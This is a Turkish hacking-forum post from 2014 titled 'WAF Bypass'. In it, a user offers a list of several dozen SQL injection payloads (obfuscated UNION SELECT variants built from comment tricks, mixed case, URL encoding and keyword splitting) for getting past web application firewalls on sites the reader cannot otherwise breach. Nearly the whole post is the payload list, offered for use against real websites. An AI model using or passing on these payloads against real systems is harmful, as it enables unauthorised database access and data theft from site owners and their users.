Konuyu Oyla:
  • Toplam: 1 Oy - Ortalama: 2
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: WAF(Web Application Firewall) Bypass
cLowN
*
avatar
Teğmen
Durum: Çevrimdışı
Seviye Puanı: 10
Yaşam Puanı: 16 / 236
Deneyim: 44 / 100
Rep Sayısı: 9
Mesaj Sayısı: 130
Üyelik Tarihi: 19.08.2013
     
Yorum: #1
WAF(Web Application Firewall) Bypass
16.02.2014 16:29
SQL İnjection yaparken geçemediğiniz siteleri bunları deneyerek geçebilirsiniz

Kod:
union(select(0),version(),(0),(0),(0),(0),( 0),(0),(0))
/*!50000union*/+/*!50000select*/
UNIunionON+SELselectECT
+union+distinct+select+
+union+distinctROW+select+
union+/*!select*/+1,2,3
union/**/select/**/1,2,3
uni%20union%20/*!select*/%20
/**//*!union*//**//*!select*//**/
union%23aa%0Aselect
/**/union/*!50000select*/
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
id=1+’UnI”On’+’SeL”ECT’ <-MySQL only
id=1+’UnI’||’on’+SeLeCT’ <-MSSQL only
+uni*on+sel*ect+
+(UnI)(oN)+(SeL)(ecT)+
/*!u%6eion*/ /*!se%6cect*/

+and+(select 1)=(Select 0xAA[..(add
about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/
/!*union*/+/!*select*/+
UNunionİON+SEselect+

union+(select+1,2,3,4,5)–

+(UnIoN)+(SelECT)+

+’UnI”On’+’SeL”ECT’

deger=1+UnIoN/*&laz=*/SeLeCT/*&a=*/1,database()– -

union /*!select*/+

+union+distinct+select+

+union+distinctROW+select+

/**//*!12345UNION SELECT*//**/

/**//*!50000UNION SELECT*//**/

+/*!50000UnIoN*/ /*!50000SeLeCt aLl*/+

+/*!u%6eion*/+/*!se%6cect*/+

/**/uniUNIONon/**/aALLll/**/selSELECTect/**/

1%’)and(0)union(select(1),version(),3,4,5,6)%23%23%23

/*!50000%55nIoN*/+/*!50000%53eLeCt*/

union /*!50000%53elect*/

%55nion %53elect

+–+Union+–+Select+–+

+UnIoN/*&a=*/SeLeCT/*&a=*/

id=1+’UnI”On’+’SeL”ECT’ <-MySQL only

id=1+’UnI’||’on’+SeLeCT’ <-MSSQL only

UnIoN SeLeCt CoNcAt(version())–

uNiOn aLl sElEcT

uUNIONnion all sSELECTelect
Alinti



1 Ziyaretçi